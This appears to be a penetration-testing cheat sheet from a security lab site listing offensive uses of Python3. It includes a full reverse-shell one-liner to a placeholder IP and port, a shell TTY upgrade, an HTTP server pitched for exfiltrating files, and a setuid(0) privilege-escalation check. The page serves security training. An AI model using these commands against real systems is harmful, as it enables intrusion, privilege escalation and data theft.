Python3 Cheat Sheet

Python3 shows up on this site less as "a language" and more as a permanent fixture of the toolbox — it's what most public PoC exploits are written in, it's usually already on the box (making it a favorite for one-liners when nothing else is installed), and its standard library alone covers a surprising amount of ground: sockets, a full HTTP server, pty allocation, base64. Isolating a specific PoC's pip dependencies is its own topic — see the Python Virtual Environments cheat sheet for that.

Red Team / Offensive Use

Almost every step of a real engagement touches python3 somewhere: cloning and running a public exploit script, upgrading a raw netcat shell into something that survives Ctrl-C and handles vim, standing up a throwaway HTTP server to pull a tool onto a target or pull loot off one, or reaching for a quick one-liner (base64, a socket) when installing a dedicated tool isn't worth the trouble. It's also a privilege escalation vector in its own right — a python3 interpreter with cap_setuid or a SUID/sudo entry lets any script it runs call setuid(0), since the capability attaches to the interpreter binary, not to whichever script happens to be running.

Established Cheatsheet

GTFOBins: python — SUID, sudo, and capabilities abuse specifically for the python/python3 binary.

PWNMI's Top 7 Use Cases

• python3 exploit.py <target> — by far the most common invocation on this site's own labs: cloning a public PoC and running it directly
• python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' — a full reverse shell in one line when nothing else is available on the target; the same payload the Reverse Shell Generator outputs for python3
• python3 -c 'import pty; pty.spawn("/bin/bash")' — upgrade a raw shell (netcat, a webshell) to a real TTY once you're already in, so Ctrl-C, tab completion, and full-screen tools like vim stop breaking the session
• python3 -m http.server 80 — a throwaway HTTP server for pulling tools onto a target or exfiltrating files off one, no setup beyond a directory to serve
• python3 -c "import os; os.setuid(0); os.system('id')" — test whether the interpreter itself has cap_setuid or a SUID/sudo entry, per the GTFOBins entry above
• python3 -c "import base64; print(base64.b64encode(b'data').decode())" — quick base64 encode without reaching for a separate tool or leaving the shell
• python3 -m venv venv && source venv/bin/activate — isolate a PoC's exact pip dependencies before running it; see the venv cheat sheet for the rest of this workflow

Next step

To see python3 exploit.py as the actual last step of a real chain, see any of the CVE labs that ship a public PoC — CVE-2026-65008 (Grav CMS) and CVE-2025-54068 (Laravel Livewire) are two of several. For the interpreter-as-privesc-vector angle specifically, see Linux Capabilities Abuse.